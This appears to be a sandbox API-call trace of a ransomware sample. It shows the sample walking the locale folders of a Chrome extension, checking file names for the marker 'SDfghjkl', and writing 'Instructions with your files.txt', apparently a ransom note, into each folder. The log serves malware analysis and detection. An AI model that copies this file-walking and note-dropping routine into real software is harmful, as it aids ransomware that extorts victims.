[0129.215] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 156
[0129.215] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.215] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.215] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\Instructions with your files.txt") returned 175
[0129.215] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.216] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.217] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.217] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.217] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.217] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.217] CloseHandle (hObject=0x134) returned 1
[0129.217] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.217] GetProcessHeap () returned 0x810000
[0129.217] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.217] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0129.217] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned 142
[0129.217] GetProcessHeap () returned 0x810000
[0129.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.217] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*") returned 144
[0129.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.218] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\.") returned 144
[0129.218] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.218] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\..") returned 145
[0129.218] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.218] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json") returned 156
[0129.218] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.218] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.218] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\Instructions with your files.txt") returned 175
[0129.218] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.219] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.220] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.220] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.220] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.220] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.220] CloseHandle (hObject=0x134) returned 1
[0129.220] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.220] GetProcessHeap () returned 0x810000
[0129.220] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.220] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0129.220] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned 142
[0129.220] GetProcessHeap () returned 0x810000
[0129.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.220] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*") returned 144
[0129.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.221] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\.") returned 144
[0129.221] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.221] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\..") returned 145
[0129.221] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.221] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 156
[0129.221] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.221] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.221] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\Instructions with your files.txt") returned 175
[0129.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.221] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.222] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.222] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.222] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.222] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.222] CloseHandle (hObject=0x134) returned 1
[0129.222] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.223] GetProcessHeap () returned 0x810000
[0129.223] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.223] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0129.223] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned 142
[0129.223] GetProcessHeap () returned 0x810000
[0129.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.223] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*") returned 144
[0129.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\.") returned 144
[0129.225] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\..") returned 145
[0129.225] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 156
[0129.225] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.225] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\Instructions with your files.txt") returned 175
[0129.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.225] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.228] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.228] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.228] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.228] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.228] CloseHandle (hObject=0x134) returned 1
[0129.228] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.228] GetProcessHeap () returned 0x810000
[0129.228] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.228] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0129.229] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned 142
[0129.229] GetProcessHeap () returned 0x810000
[0129.229] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
